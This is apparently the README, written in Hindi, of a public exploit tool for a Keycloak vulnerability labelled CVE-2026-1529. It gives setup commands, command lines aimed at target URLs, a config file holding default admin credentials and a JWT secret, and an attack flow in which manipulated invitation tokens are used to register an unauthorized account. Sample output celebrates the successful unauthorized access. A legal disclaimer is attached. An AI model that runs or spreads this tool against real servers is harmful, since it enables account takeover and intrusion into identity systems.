# रिपॉजिटरी क्लोन करें
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# वर्चुअल वातावरण बनाएं
python3 -m venv venv
source venv/bin/activate  # Windows पर: venv\Scripts\activate

# निर्भरताएं स्थापित करें
pip install -r requirements.txt

# निर्देशिका संरचना बनाएं
mkdir -p keycloak-exploit/{utils,config,logs,output/reports}
cd keycloak-exploit

# रिलीज़ से फ़ाइलें डाउनलोड करें या मैन्युअल रूप से कॉपी करें
# फिर निर्भरताएं स्थापित करें
pip install requests urllib3 PyJWT

keycloak-exploit/
├── keycloak-exploit.py           # मुख्य एक्सप्लॉइट स्क्रिप्ट
├── requirements.txt              # Python निर्भरताएं
├── README.md                     # यह फ़ाइल
├── config/
│   └── default_config.json       # कॉन्फ़िगरेशन फ़ाइल
├── utils/
│   ├── __init__.py              # पैकेज इनिशियलाइज़र
│   ├── http_utils.py            # HTTP क्लाइंट उपयोगिताएं
│   ├── jwt_utils.py             # JWT हेरफेर
│   └── crypto_utils.py          # क्रिप्टो उपयोगिताएं
├── logs/                         # स्वतः-जनित लॉग
└── output/
    └── reports/                  # एक्सप्लॉइट रिपोर्ट

python3 keycloak-exploit.py https://target-keycloak.com

# कस्टम आमंत्रण टोकन के साथ
python3 keycloak-exploit.py -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9... https://target.com

# कस्टम संगठन ID के साथ
python3 keycloak-exploit.py -o custom_org_id https://target.com

# कस्टम कॉन्फ़िगरेशन फ़ाइल के साथ
python3 keycloak-exploit.py -c /path/to/config.json https://target.com

# डीबग लॉगिंग सक्षम करें
python3 keycloak-exploit.py -d https://target.com

# सहायता दिखाएं
python3 keycloak-exploit.py -h

# संस्करण दिखाएं
python3 keycloak-exploit.py -v

{
    "exploit": {
        "default_username": "admin_user_2026",
        "default_password": "KeycloakCVE2026!",
        "default_email": "[email protected]",
        "timeout": 30,
        "max_retries": 3
    },
    "jwt": {
        "algorithm": "HS256",
        "secret_key": "keycloak-cve-2026-1529-exploit",
        "token_expiry": 3600
    },
    "target": {
        "endpoints": {
            "realms": "/realms",
            "organizations": "/organizations",
            "register": "/register",
            "login": "/login"
        }
    },
    "output": {
        "log_level": "INFO",
        "save_reports": true,
        "report_format": "txt"
    }
}

┌─────────────────┐
│  Target Check   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Token Gen/Get  │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ Token Manipulate│
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│ User Register   │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Login Test     │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│  Report Gen     │
└─────────────────┘

============================================================
CVE-2026-1529 EXPLOIT RESULTS
============================================================
✓ Target is vulnerable to CVE-2026-1529

🎯 EXPLOIT SUCCESSFUL!
Username: admin_user_2026
Password: KeycloakCVE2026!
Email: [email protected]
Login Link: https://target.com/realms/master/account

📄 Report saved to: output/reports/exploit_report_20260211_050507.txt

🔐 Use the provided credentials to access the Keycloak instance!
⚠️  This demonstrates unauthorized access due to CVE-2026-1529

============================================================
by f3ds cr3w est, 2002
============================================================

# सुनिश्चित करें कि आप सही निर्देशिका में हैं
cd keycloak-exploit
python3 keycloak-exploit.py https://target.com

# सुनिश्चित करें कि config निर्देशिका मौजूद है
mkdir -p config
# config/ में default_config.json कॉपी या बनाएं

pip install --upgrade urllib3

# अधिक विवरण देखने के लिए डीबग लॉगिंग सक्षम करें
python3 keycloak-exploit.py -d https://target.com

# config/default_config.json में टाइमआउट बढ़ाएं
"timeout": 60

python3 keycloak-exploit.py -d https://target.com

⚠️ महत्वपूर्ण कानूनी सूचना ⚠️

यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है।

इस टूल का उपयोग करके, आप सहमत हैं कि:

1. आप इस टूल का उपयोग केवल उन सिस्टम पर करेंगे जिनके आप मालिक हैं या जिनके परीक्षण के लिए 
   आपके पास स्पष्ट लिखित अनुमति है।

2. आप समझते हैं कि कंप्यूटर सिस्टम तक अनधिकृत पहुंच कानूनों के तहत अवैध है, जिनमें शामिल हैं लेकिन इन्हीं तक सीमित नहीं:
   - Computer Fraud and Abuse Act (CFAA) - संयुक्त राज्य अमेरिका
   - Computer Misuse Act - यूनाइटेड किंगडम
   - अन्य देशों में समान कानून

3. आप इस टूल के उपयोग के किसी भी परिणाम की पूरी जिम्मेदारी स्वीकार करते हैं।

4. लेखक और योगदानकर्ता इस टूल के किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं हैं।

5. यह टूल बिना किसी वारंटी के "जैसा है" (AS IS) प्रदान किया गया है।

अपने जोखिम पर उपयोग करें। अनधिकृत पहुंच एक अपराध है।

# अपना फोर्क क्लोन करें
git clone https://github.com/yourusername/cve-2026-1529-exploit.git
cd cve-2026-1529-exploit

# वर्चुअल वातावरण बनाएं
python3 -m venv venv
source venv/bin/activate

# निर्भरताएं स्थापित करें
pip install -r requirements.txt

# अपने परिवर्तन करें और परीक्षण करें
python3 keycloak-exploit.py https://test-target.com